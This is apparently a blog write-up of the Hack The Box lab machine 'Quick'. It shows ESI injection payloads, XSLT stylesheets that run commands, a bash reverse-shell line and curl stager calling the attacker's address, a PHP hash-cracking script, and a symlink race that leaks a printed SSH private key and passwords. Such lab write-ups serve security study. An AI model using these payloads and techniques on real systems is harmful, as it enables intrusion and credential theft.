jebidiah-anthony

write-ups and what not

HTB Quick (10.10.10.186)


PART 1 : INITIAL ENUMERATION

1.1 nmap

$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -v 10.10.10.186

  PORT     STATE SERVICE
  22/tcp   open  ssh
  9001/tcp open  tor-orport

$ nmap -oN nmap-tcp -p 22,9001 -sC -sV -v 10.10.10.186

  PORT     STATE SERVICE VERSION
  22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
  |   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
  |_  256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
  9001/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
  | http-methods: 
  |_  Supported Methods: GET HEAD POST
  |_http-server-header: Apache/2.4.29 (Ubuntu)
  |_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

$ sudo nmap -oN nmap-udp.initial -sU -v 10.10.10.186

  PORT    STATE         SERVICE
  443/udp open|filtered https

PART 2 : PORT ENUMERATION

2.1 TCP PORT 9001 : HTTP

Quick - index.php

$ curl http://10.10.10.186:9001 | grep -E '<a.*href=.*/a>' | sed -E 's/^.*<a.*href="(.*)">.*/\1/g'

  /login.php
  https://portal.quick.htb
  /clients.php

2.1.2 Directory brute forcing using gobuster

$ gobuster dir -o 9001_gobuster.txt -u http://10.10.10.186:9001 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,txt

  /index.php            (Status: 200) [Size: 3353]
  /search.php           (Status: 200) [Size: 1]   
  /home.php             (Status: 200) [Size: 86]  
  /login.php            (Status: 200) [Size: 4345]
  /clients.php          (Status: 200) [Size: 2698]
  /db.php               (Status: 200) [Size: 0]   
  /ticket.php           (Status: 200) [Size: 86] 

2.1.3 /login.php – Login Page

Quick - login.php

2.1.4 /clients.php – Client List

# Client Country
1 QConsulting Pvt Ltd UK
2 Darkwing Solutions US
3 Wink UK
4 LazyCoop Pvt Ltd China
5 ScoobyDoo Italy
6 PenguinCrop France

2.1.5 /index.php – Potential Usernames

Name Company Possible Email
Tim Qconsulting Pvt Ltd [email protected]
Roy DarkWng Solutions [email protected]; [email protected]
Elisa Wink Media [email protected]; [email protected]
James LazyCoop Pvt Ltd [email protected]

2.2 UDP PORT 443 : HTTPS

$ /opt/curl/src/curl --http3 https://portal.quick.htb
<p> Welcome to Quick User Portal</p>
<ul>
  <li><a href="index.php">Home</a></li>
  <li><a href="index.php?view=contact">Contact</a></li>
  <li><a href="index.php?view=about">About</a></li>
  <li><a href="index.php?view=docs">References</a></li>
</ul>
$ /opt/curl/src/curl --http3 https://portal.quick.htb/index.php?view=docs
<h1>Quick | References</h1>
<ul>
  <li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
  <li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
</ul>
$ /opt/curl/src/curl --http3 --output Connectivity.pdf https://portal.quick.htb/docs/Connectivity.pdf

How to Connect ?

  1. Once router is up and running just navigate to http://172.15.0.4/quick_login.jsp
  2. You can use your registered email address and Quick4cc3$$ as password.
  3. Login and change your password for WiFi and ticketing system.
  4. Don’t forget to ping us on chat whenever there is an issue.

PART 3 : EXPLOITATION

3.1 http[://]quick.htb:9001/login.php

  • USERNAME: [email protected]

  • PASSWORD: Quick4cc3$$

    $ cookie='Cookie: PHPSESSID=4oqa66ge8q5dobkgich32rati2'
    

3.2 http[://]quick.htb:9001/home.php

Quick - home.php

$ curl -H $cookie -I http://quick.htb:9001/home.php

  HTTP/1.1 200 OK
  Server: Apache/2.4.29 (Ubuntu)
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate
  Pragma: no-cache
  Content-Type: text/html; charset=UTF-8
  Via: 1.1 localhost (Apache-HttpClient/4.5.2 (cache))
  X-Powered-By: Esigate
  Content-Length: 2

3.3 http[://]quick.htb:9001/ticket.php

Quick - ticket.php

$ curl -H $cookie http://quick.htb:9001/ticket.php
<form action="" method="POST">
	<center><br /><br />
    <table  border="0">
        <tr>
            <td align="center" >Title:</td>
            <td align="right" ><input type="text" name="title"/></td>
        </tr>
		<tr>
    		<td align="center">Message:</td><td align="right" ><textarea rows="7" cols="50" name="msg">Describe your query</textarea></td>
    	</tr>
		<tr>
    		<td align="center" colspan="3"><input type="submit"  value="Submit"/></td>
    	</tr>
	</table>
	<input type="hidden" name="id" value="TKT-3874"/>
</form>

3.4 ESI Injection Part 1 (RFI)

  1. Create a file, something.html:
    jebidiah was here
    
  2. Start an HTTP Server using python:
    $ sudo python -m SimpleHTTPServer 80
    
  3. Raise ticket with ESI Server Include payload that will request something.html:

    $ payload='<esi:include src="http://10.10.14.6/something.html" />'
    $ ticket='TKT-0007'
    $ curl -X POST -d "title=test&msg=$payload&id=$ticket" -H $cookie http://quick.htb:9001/ticket.php | tidy
    
    <script>
    	alert("Ticket NO : \"TKT-0007\" raised. We will answer you as soon as possible");
        window.location.href="/home.php";
    </script>
    
  4. Search the generated ticket:

    $ curl -G -d "search=$ticket" -H $cookie http://quick.htb:9001/search.php | tidy
    
    <table border="2" width="100%">
    	<tr>
    		<td style="font-size:180%;">ID</td>
    		<td style="font-size:180%;">Title</td>
    		<td style="font-size:180%;">Description</td>
    		<td style="font-size:180%;">Status</td>
    	</tr>
    	<tr>
    		<td style="font-size:180%;">TKT-0007</td>
    		<td style="font-size:180%;">test</td>
    		<td style="font-size:180%;">jebidiah was here</td>
    		<td style="font-size:180%;">open</td>
    	</tr>
    </table>
    
  5. Check the HTTP requests:

    10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET /something.html HTTP/1.1" 200 -
    

3.5 ESI Injection Part 2 (RCE)

  1. Create a file, test.xsl:

    <?xml version="1.0" ?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:output method="xml" omit-xml-declaration="yes"/>
        <xsl:template match="/"
        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
        xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
            <root>
                <xsl:variable name="cmd">
                    <![CDATA[curl http://10.10.14.6/something.html]]>
                </xsl:variable>
                <xsl:variable name="rtObj" select="rt:getRuntime()"/>
                <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
                Process: <xsl:value-of select="$process"/>
                Command: <xsl:value-of select="$cmd"/>
            </root>
        </xsl:template>
    </xsl:stylesheet>
    
  2. Start an HTTP Server using python:

    $ sudo python -m SimpleHTTPServer 80
    
  3. Raise ticket with ESI Server Include payload that will request test.xsl:

    $ payload='<esi:include src="http://localhost:9001" stylesheet="http://10.10.14.6/test3.xsl"></esi:include>'
    $ ticket='TKT-0008'
    $ curl -X POST -d "title=test&msg=$payload&id=$ticket" -H $cookie http://quick.htb:9001/ticket.php | tidy
    
    <script>
    	alert("Ticket NO : \"TKT-0008\" raised. We will answer you as soon as possible");
        window.location.href="/home.php";
    </script>
    
  4. Search the generated ticket:

    $ curl -G -d "search=$ticket" -H $cookie http://quick.htb:9001/search.php | tidy
    
    <table border="2" width="100%">
    	<tr>
            <td style="font-size:180%;">ID</td>
            <td style="font-size:180%;">Title</td>
            <td style="font-size:180%;">Description</td>
            <td style="font-size:180%;">Status</td>
    	</tr>
        <tr>
            <td style="font-size:180%;">TKT-0014</td>
            <td style="font-size:180%;">test</td>
            <td style="font-size:180%;">
            	Process: Process[pid=2807, exitValue="not exited"] 
                Command: curl http://10.10.14.6/something.html
            </td>
            <td style="font-size:180%;">open</td>
        </tr>
    </table>
    
  5. Check the HTTP requests:

    10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET /test3.xsl HTTP/1.1" 200 -
    10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET /something.html HTTP/1.1" 200 -
    

PART 4 : GENERATING A SHELL

4.1 Reverse Shell

  1. Write a reverse shell on a file, index.html:
    bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'
    
  2. Create a stager file for the reverse shell – stager.xsl:
    <?xml version="1.0" ?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:output method="xml" omit-xml-declaration="yes"/>
        <xsl:template match="/"
        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
        xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
            <root>
                <xsl:variable name="cmd">
                    <![CDATA[curl --output /tmp/rev http://10.10.14.6]]>
                </xsl:variable>
                <xsl:variable name="rtObj" select="rt:getRuntime()"/>
                <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
                Process: <xsl:value-of select="$process"/>
                Command: <xsl:value-of select="$cmd"/>
            </root>
        </xsl:template>
    </xsl:stylesheet>
    
  3. Raise a ticket that will request stager.xsl:
    $ payload='<esi:include src="http://localhost:9001" stylesheet="http://10.10.14.6/stager.xsl"></esi:include>'
    $ ticket='TKT-0069'
    $ curl -X POST -d "title=test&msg=$payload&id=$ticket" -H $cookie http://quick.htb:9001/ticket.php
    
  4. Search the generated ticket then view the HTTP requests on the python server:

    $ curl -G -d "search=$ticket" -H $cookie http://quick.htb:9001/search.php | tidy
    
    <table border="2" width="100%">
        <tr>
            <td style="font-size:180%;">ID</td>
            <td style="font-size:180%;">Title</td>
            <td style="font-size:180%;">Description</td>
            <td style="font-size:180%;">Status</td>
        </tr>
        <tr>
            <td style="font-size:180%;">TKT-0069</td>
            <td style="font-size:180%;">test</td>
            <td style="font-size:180%;">
                Process: Process[pid=3448, exitValue="not exited"] 
                Command: curl --output /tmp/rev http://10.10.14.6
            </td>
            <td style="font-size:180%;">open</td>
        </tr>
    </table>
    
    10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET /stager.xsl HTTP/1.1" 200 -
    10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET / HTTP/1.1" 200 -
    
  5. Create another file that will call the reverse shell – shell.xsl:

    <?xml version="1.0" ?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:output method="xml" omit-xml-declaration="yes"/>
        <xsl:template match="/"
        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
        xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
            <root>
                <xsl:variable name="cmd">
                    <![CDATA[bash /tmp/rev]]>
                </xsl:variable>
                <xsl:variable name="rtObj" select="rt:getRuntime()"/>
                <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
                Process: <xsl:value-of select="$process"/>
                Command: <xsl:value-of select="$cmd"/>
            </root>
        </xsl:template>
    </xsl:stylesheet>
    
  6. Start a netcat listener:

    $ sudo nc -lvp 443
    
  7. Raise a ticket that will request shell.xsl:

    $ payload='<esi:include src="http://localhost:9001" stylesheet="http://10.10.14.6/shell.xsl"></esi:include>'
    $ ticket='TKT-0420'
    $ curl -X POST -d "title=test&msg=$payload&id=$ticket" -H $cookie http://quick.htb:9001/ticket.php
    
  8. Search the generated ticket then view the HTTP requests on the python server:

    $ curl -G -d "search=$ticket" -H $cookie http://quick.htb:9001/search.php | tidy
    
    <table border="2" width="100%">
        <tr>
            <td style="font-size:180%;">ID</td>
            <td style="font-size:180%;">Title</td>
            <td style="font-size:180%;">Description</td>
            <td style="font-size:180%;">Status</td>
        </tr>
        <tr>
            <td style="font-size:180%;">TKT-0069</td>
            <td style="font-size:180%;">test</td>
            <td style="font-size:180%;">
                Process: Process[pid=3480, exitValue="not exited"] 
                Command: bash /tmp/rev
            </td>
            <td style="font-size:180%;">open</td>
        </tr>
    </table>
    
    10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET /shell.xsl HTTP/1.1" 200 -
    
  9. Look back to the netcat listener:

    [email protected]:~$ id
       
      uid=1000(sam) gid=1000(sam) groups=1000(sam)
         
    [email protected]:~$ cat /etc/passwd | grep -E 'sh$'
       
      root:x:0:0:root:/root:/bin/bash
      sam:x:1000:1000:sam:/home/sam:/bin/bash
      srvadm:x:1001:1001:,,,:/home/srvadm:/bin/bash
         
    [email protected]:~$ cat user.txt
       
      339096973b4f74d1d914f923620dd10f
    

4.2 Connection via SSH

  1. Generating an RSA key pair:

    $ ssh-keygen
       
      Generating public/private rsa key pair.
      Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./id_rsa
      Enter passphrase (empty for no passphrase): 
      Enter same passphrase again:
         
    $ chmod 400 id_rsa
    
  2. Add the public key to /home/sam/.ssh/authorized_keys using the reverse shell:

    [email protected]:~$ mkdir .ssh
       
    [email protected]:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM08yfr4LnEIwMdMN1RyMvEqfMXL+1OzvjbnZJ6Wp3pmG3lwBot9NKVFtSRPmb+U0c1b/4gmcWmxy+S+KEW8FIg7FRvHejBWFnFnRTnI1AKjab9ia+Na6ujT4e0OkE8+/wgJiUzKiDOdSD8uphSwwDdvwM+NnjY1gL0DTOZc6OsDmHwrNM6DQV+RQaqMfpsIPGhYHFJ39eU6jYhASicViF/PbdOhBS/ibsstCL0W15DBW68ugjOXZsoeNVIsoubzAhU82OzyeMENB2WEjUr8vkW6WnGqhpaETJJs7lnJclGxqCQOz78gIaBADQ9D9lmtI6wrSk5+WZH9nFhgBQsvRv1rEMTGJWwqNx4O9klp02GEauKzoknE1EWiQNMfIWQWImILCRmZtI4KgVl44OC1dH1znCdcf5vHK0lYvYUQpaXUEQxaGRC7uAqX+mcOOReaNaMXHLZmd3LBJXmYSTQkiAT/UaOi5nSuhbylT6DwlkrxlMookXUA8YCe5pC59SUlU=" >> .ssh/authorized_keys
    
  3. Connect to the machine via SSH:

    $ chmod 400 id_rsa
       
    $ ssh -i id_rsa -l sam 10.10.10.186
    

PART 5 : CHANGING USER (sam -> srvadm)

5.1 Web Service Enumeration

[email protected]:~$ ls -l /var/www/

  drwxr-xr-x  2 root root 4096 Mar 20  2020 html
  drwxrwxrwx  2 root root 4096 Mar 21  2020 jobs
  drwxr-xr-x  6 root root 4096 Mar 21  2020 printer

5.1.1 /var/www/html

Checking /var/www/html/db.php for database credentials:

[email protected]:~$ cat /var/www/html/db.php
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>

Then using it to check for other user credentials stored in the database:

[email protected]:~$ mysql -udb_adm -pdb_p4ss -e "SHOW DATABASES;"

  +--------------------+
  | Database           |
  +--------------------+
  | information_schema |
  | mysql              |
  | performance_schema |
  | quick              |
  | sys                |
  +--------------------+

[email protected]:~$ mysql -udb_adm -pdb_p4ss -e "USE quick; SHOW TABLES;"

  +-----------------+
  | Tables_in_quick |
  +-----------------+
  | jobs            |
  | tickets         |
  | users           |
  +-----------------+

[email protected]:~$ mysql -udb_adm -pdb_p4ss -e "SELECT * FROM quick.users;"

  +--------------+------------------+----------------------------------+
  | name         | email            | password                         |
  +--------------+------------------+----------------------------------+
  | Elisa        | [email protected] | c6c35ae1f3cb19438e0199cfa72a9d9d |
  | Server Admin | [email protected] | e626d51f8fbfd1124fdea88396c35d05 |
  +--------------+------------------+----------------------------------+

[email protected]:~$ echo -n 'Quick4cc3$$' | md5sum

  8c6f51e1061b8a1feceb569da5a94691  -

The password for [email protected], although to be known as Quick4cc3$$, don’t seem to match the hash stored in the database.

Seeing how the password hashes are generated:

[email protected]:~$ cat /var/www/html/login.php
<?php 
include("db.php");
if(isset($_POST["email"]) && isset($_POST["password"]))
{
	$email=$_POST["email"];
	$password = $_POST["password"];
	$password = md5(crypt($password,'fa'));
    $stmt=$conn->prepare("select email,password from users where email=? and password=?");
    $stmt->bind_param("ss",$email,$password);
    $stmt->execute();
    $result = $stmt->get_result();
    $num_rows = $result->num_rows;
    if($num_rows > 0)
   	{
		session_start();
	   	$_SESSION["loggedin"]=$email;
	   	header("location: home.php");
   	}
   	else
   	{
	   	echo '<script>alert("Invalid Credentials");window.location.href="/login.php";</script>';
   	}
}
else
{?>
[...html...]
<?php } ?>

The plaintext password is passed through a crypt() function before hashing using md5().

5.1.2 /var/www/printer

Checking the running processes on the machine:

[email protected]:~$ ps -auwwx --forest | grep -B2 -E "^sam"

  root [...omitted...] /usr/sbin/cron -f
  root [...omitted...]  \_ /usr/sbin/CRON -f
  sam  [...omitted...]      \_ /bin/sh -c /usr/bin/java -Desigate.config=/home/sam/esigate-distribution-5.2/apps/esigate.properties -Dserver.port=9001 -jar /home/sam/esigate-distribution-5.2/apps/esigate-server.jar start

Checking the contents of /home/sam/esigate-distribution-5.2/apps/esigate.properties:

[email protected]:~$ cat /home/sam/esigate-distribution-5.2/apps/esigate.properties

  esigate.remoteUrlBase=http://localhost:80/
  esigate.mappings=/*

All services running via HTTP using localhost should be accessible via port 9001 based on the running process for Esigate. And as previously inaccessible, there seems to be another deployed service in the machine:

[email protected]:~$ cat /etc/apache2/sites-enabled/000-default.conf | grep -v -E "#|^\s*$"
<VirtualHost *:80>
	ServerAdmin [email protected]
	DocumentRoot /var/www/html
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
	AssignUserId srvadm srvadm
	ServerName printerv2.quick.htb
	DocumentRoot /var/www/printer
</VirtualHost>

There is a printer service running as printerv2.quick.htb but it is not accessible via port 9001. Looking at the open ports, there is indeed a service running on port 80:

[email protected]:~$ netstat -plnt

  Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
  tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
  tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN      -                   
  tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
  tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
  tcp        0      0 127.0.0.1:43735         0.0.0.0:*               LISTEN      -                   
  tcp6       0      0 :::9001                 :::*                    LISTEN      897/java            
  tcp6       0      0 127.0.0.1:8081          :::*                    LISTEN      897/java            
  tcp6       0      0 :::22                   :::*                    LISTEN      -               

Since there is a service running on port 80, printerv2.quick.htb should be accessible locally but the virtual host name is not listed in the /etc/hosts file.

5.2 Password Cracking ([email protected])

Validating the way the password hashes are generated

$ php -a

php > echo md5(crypt('Quick4cc3$$', 'fa'));

  c6c35ae1f3cb19438e0199cfa72a9d9d

The password of [email protected] is indeed hashed as c6c35ae1f3cb19438e0199cfa72a9d9d in the database. And using the same functions to crack the password of [email protected]:

<?php
	$wordlist = "/usr/share/wordlists/rockyou.txt";
	$wordlist_file = fopen($wordlist, "r");

	while(! feof($wordlist_file)) {
		$password = substr(fgets($wordlist_file), 0, -1);
		$hash = md5(crypt($password, 'fa'));

		if ($hash == "e626d51f8fbfd1124fdea88396c35d05") {
			echo $password;
			break;
		}
	}
	
	fclose($wordlist_file);
?>
$ php cracker.php

  yl51pbx
  
$ php -a

php > echo md5(crypt('yl51pbx', 'fa'));
  
  e626d51f8fbfd1124fdea88396c35d05

The password has been successfully cracked – yl51pbx. Using this password to switch users using su does not work so access to printerv2.quick.htb might be necessary for privilege escalation.

5.3 Forwarding printerv2.quick.htb

Getting the service to run locally using port forwarding:

$ ssh -i id_rsa -l sam -L 9001:127.0.0.1:80 -f -N 10.10.10.186

Afterwards, point printerv2.quick.htb to 127.0.0.1 in /etc/hosts:

127.0.0.1	localhost printerv2.quick.htb

The service should now be accessible:

printerv2 - login.php

$ curl -I http://printerv2.quick.htb:9001                                  

  HTTP/1.1 200 OK
  Date: Fri, 02 Apr 2021 17:02:58 GMT
  Server: Apache/2.4.29 (Ubuntu)
  Content-Type: text/html; charset=UTF-8

5.4 The Printer Service

5.4.1 Figuring out the login credentials

Based on /var/www/printer/db.php, it’s’ using the same database as the ticketing service.

[email protected]:~$ cat /var/www/printer/db.php
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>

However, based on /var/www/printer/index.php, the credentials used should be the account of [email protected]:

<?php
include("db.php");
if(isset($_POST["email"]) && isset($_POST["password"]))
{
        $email=$_POST["email"];
        $password = $_POST["password"];
        $password = md5(crypt($password,'fa'));
        $stmt=$conn->prepare("select email,password from users where email=? and password=?");
        $stmt->bind_param("ss",$email,$password);
        $stmt->execute();
        $result = $stmt->get_result();
        $num_rows = $result->num_rows;
        if($num_rows > 0 && $email === "[email protected]")
        {
                session_start();
                $_SESSION["loggedin"]=$email;
                header("location: home.php");
        }
        else
        {
                echo '<script>alert("Invalid Credentials");window.location.href="/index.php";</script>';
        }
}
else
{?>
[...html...]
<?php } ?>

The cracked password from earlier should work for the login page and it should bring you to:

printerv2 - home.php

5.4.2 Creating print jobs

First a printer needs to be added to the service. This could be connected to your local machine:

Quick - add_printer.php

Then to test if the service could connect to “your printer”:

$ curl -d 'job=print&title=jebidiah' -G -H 'Cookie: PHPSESSID=p0qavq2tftut9ia1vcf6haffqo' http://printerv2.quick.htb:9001/printers.php

With that setup, you can now create print jobs using the following command:

printerv2_job

$ printed_text='Something that will be sent to the printer'
$ curl -X POST -d "title=jebidiah&desc=$printed_text&submit=" -H 'Cookie: PHPSESSID=p0qavq2tftut9ia1vcf6haffqo' http://printerv2.quick.htb:9001/job.php

5.4.3 Exploiting the Printer Jobs

<?php
require __DIR__ . '/escpos-php/vendor/autoload.php';
use Mike42\Escpos\PrintConnectors\NetworkPrintConnector;
use Mike42\Escpos\Printer;
include("db.php");
session_start();

if($_SESSION["loggedin"])
{
	if(isset($_POST["submit"]))
	{
		$title=$_POST["title"];
		$file = date("Y-m-d_H:i:s");
		file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
		chmod("/var/www/printer/jobs/".$file,"0777");
		$stmt=$conn->prepare("select ip,port from jobs");
		$stmt->execute();
		$result=$stmt->get_result();
		if($result->num_rows > 0)
		{
			$row=$result->fetch_assoc();
			$ip=$row["ip"];
			$port=$row["port"];
			try
			{
				$connector = new NetworkPrintConnector($ip,$port);
				sleep(0.5); //Buffer for socket check
				$printer = new Printer($connector);
				$printer -> text(file_get_contents("/var/www/jobs/".$file));
				$printer -> cut();
				$printer -> close();
				$message="Job assigned";
				unlink("/var/www/jobs/".$file);
			}
			catch(Exception $error) 
			{
				$error="Can't connect to printer.";
				unlink("/var/www/jobs/".$file);
			}
		}
		else
		{
			$error="Couldn't find printer.";
		}
	}
?>
[...html...]
<?php } 
else
{
	echo '<script>alert("Invalid Username/Password");window.location.href="index.php";</script>';
}?>
[email protected]:~$ while [ -z $(ls -tr /var/www/jobs) ]; do : ; done; job=$(ls -tr /var/www/jobs | head -n1); rm -f "/var/www/jobs/${job}"; ln -s /home/srvadm/.ssh/authorized_keys /var/www/jobs/${job}

The bash script executed above will wait for a new print job to be created and then leveraging the 0.5 seconds sleep time of the job execution by deleting and replacing the file with a similar filename but symbolically linked to a file of your choice; in this case – /home/srvadm/.ssh/authorized_keys

$ curl -X POST -d "title=jebidiah&desc=$printed_text&submit=" -H 'Cookie: PHPSESSID=p0qavq2tftut9ia1vcf6haffqo' --silent http://printerv2.quick.htb:9001/job.php >/dev/null

After starting a listener on port 9100 using netcat, the job will be triggered by the command above.

$ nc -k -nlvp 9100

  connect to [10.10.14.6] from (UNKNOWN) [10.10.10.186] 55768
  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC61KWlksWhB9tpFPs7ys/wuyMTzhAk95ZAmOLowXRL9EYJ3g8A/VRYPboIBoPLgnsHZ/kz+jlcRghl5H4opKH6YP/8U7L47eyohfftqcWqq+ElDoPUvZY6yRajJnMapvyv3iA31NdbxNGXPuEyqraN9YGAabdhXMwphJixaLp1VhOVUZgMs1v/zxqBRAZHxwA1GKz/ZyRYr4aLJOjmmBlpydI3/rWnUK2/QgL/MI4jmn0Iqd3CE69uaPM2+H9vR5dthD9GnmvIu5IktnVo+u0r4sKeqMorSHAfyAqR1mT93c5+riKFGJCVqTA+WwfLZqbU76yaDTbXgczJBB2fuUT1 [email protected]
  VA

Looking back to the listener, the contents of the authorized_keys file has now been sent to the “printer” meaning the arbitrary file read of files owned or readable by sysadm succeeded.

5.4.4 Reading files with sysadm

Now to see if there is also a private key stored in the same directory using the same process above:

[email protected]:~$ while [ -z $(ls -tr /var/www/jobs) ]; do : ; done; job=$(ls -tr /var/www/jobs | head -n1); rm -f "/var/www/jobs/${job}"; ln -s /home/srvadm/.ssh/id_rsa /var/www/jobs/${job}
$ curl -X POST -d "title=jebidiah&desc=$printed_text&submit=" -H 'Cookie: PHPSESSID=p0qavq2tftut9ia1vcf6haffqo' --silent http://printerv2.quick.htb:9001/job.php >/dev/null
$ nc -lvp 9100

  connect to [10.10.14.6] from (UNKNOWN) [10.10.10.186] 55756
  -----BEGIN RSA PRIVATE KEY-----
  MIIEpQIBAAKCAQEAutSlpZLFoQfbaRT7O8rP8LsjE84QJPeWQJji6MF0S/RGCd4P
  AP1UWD26CAaDy4J7B2f5M/o5XEYIZeR+KKSh+mD//FOy+O3sqIX37anFqqvhJQ6D
  1L2WOskWoyZzGqb8r94gN9TXW8TRlz7hMqq2jfWBgGm3YVzMKYSYsWi6dVYTlVGY
  DLNb/88agUQGR8cANRis/2ckWK+GiyTo5pgZacnSN/61p1Ctv0IC/zCOI5p9CKnd
  whOvbmjzNvh/b0eXbYQ/Rp5ryLuSJLZ1aPrtK+LCnqjKK0hwH8gKkdZk/d3Ofq4i
  hRiQlakwPlsHy2am1O+smg0214HMyQQdn7lE9QIDAQABAoIBAG2zSKQkvxgjdeiI
  ok/kcR5ns1wApagfHEFHxAxo8vFaN/m5QlQRa4H4lI/7y00mizi5CzFC3oVYtbum
  Y5FXwagzZntxZegWQ9xb9Uy+X8sr6yIIGM5El75iroETpYhjvoFBSuedeOpwcaR+
  DlritBg8rFKLQFrR0ysZqVKaLMmRxPutqvhd1vOZDO4R/8ZMKggFnPC03AkgXkp3
  j8+ktSPW6THykwGnHXY/vkMAS2H3dBhmecA/Ks6V8h5htvybhDLuUMd++K6Fqo/B
  H14kq+y0Vfjs37vcNR5G7E+7hNw3zv5N8uchP23TZn2MynsujZ3TwbwOV5pw/CxO
  9nb7BSECgYEA5hMD4QRo35OwM/LCu5XCJjGardhHn83OIPUEmVePJ1SGCam6oxvc
  bAA5n83ERMXpDmE4I7y3CNrd9DS/uUae9q4CN/5gjEcc9Z1E81U64v7+H8VK3rue
  F6PinFsdov50tWJbxSYr0dIktSuUUPZrR+in5SOzP77kxZL4QtRE710CgYEAz+It
  T/TMzWbl+9uLAyanQObr5gD1UmG5fdYcutTB+8JOXGKFDIyY+oVMwoU1jzk7KUtw
  8MzyuG8D1icVysRXHU8btn5t1l51RXu0HsBmJ9LaySWFRbNt9bc7FErajJr8Dakj
  b4gu9IKHcGchN2akH3KZ6lz/ayIAxFtadrTMinkCgYEAxpZzKq6btx/LX4uS+kdx
  pXX7hULBz/XcjiXvKkyhi9kxOPX/2voZcD9hfcYmOxZ466iOxIoHkuUX38oIEuwa
  GeJol9xBidN386kj8sUGZxiiUNoCne5jrxQObddX5XCtXELh43HnMNyqQpazFo8c
  Wp0/DlGaTtN+s+r/zu9Z8SECgYEAtfvuZvyK/ZWC6AS9oTiJWovNH0DfggsC82Ip
  LHVsjBUBvGaSyvWaRlXDaNZsmMElRXVBncwM/+BPn33/2c4f5QyH2i67wNpYF0e/
  2tvbkilIVqZ+ERKOxHhvQ8hzontbBCp5Vv4E/Q/3uTLPJUy5iL4ud7iJ8SOHQF4o
  x5pnJSECgYEA4gk6oVOHMVtxrXh3ASZyQIn6VKO+cIXHj72RAsFAD/98intvVsA3
  +DvKZu+NeroPtaI7NZv6muiaK7ZZgGcp4zEHRwxM+xQvxJpd3YzaKWZbCIPDDT/u
  NJx1AkN7Gr9v4WjccrSk1hitPE1w6cmBNStwaQWD+KUUEeWYUAx20RA=
  -----END RSA PRIVATE KEY-----
  VA

Luckily, there is also a private key stored in the .ssh directory.

5.5 Connecting via SSH with sysadm


PART 6 : PRIVILEGE ESCALATION

[email protected]:~/.cache/conf.d$ cat printers.conf
  # Printer configuration file for CUPS v2.3.0
  # Written by cupsd on 2020-02-18 17:11
  # DO NOT EDIT THIS FILE WHEN CUPSD IS RUNNING
  NextPrinterId 5
  [...omitted...]
  <Printer OLD_Aviatar>
  PrinterId 2
  UUID urn:uuid:0929509f-7173-3afd-6be2-4da0a43ccefe
  Info 8595
  Location Aviatar
  MakeModel KONICA MINOLTA C554SeriesPS(P)
  DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%[email protected]/printer
  State Idle
  StateTime 1549274624
  ConfigTime 1549274625
  Type 8401100
  Accepting Yes
  Shared Yes
  JobSheets none none
  QuotaPeriod 0
  PageLimit 0
  KLimit 0
  OpPolicy default
  ErrorPolicy stop-printer
  Option job-cancel-after 10800
  Option media 1
  Option output-bin 0
  Option print-color-mode color
  Option print-quality 5
  </Printer>
  [...omitted...]
[email protected]:~/.cache/conf.d$ su -

  Password: &ftQ4K3SGde8?

[email protected]:~# cat /root/root.txt

  8289e54cd2bd1b9db9fc54447fea0db2

PART 7 : REFERENCES

  • https://www.google.com/search?client=firefox-b-d&q=quic+udp+port
  • https://github.com/curl/curl/blob/master/docs/HTTP3.md

  • https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/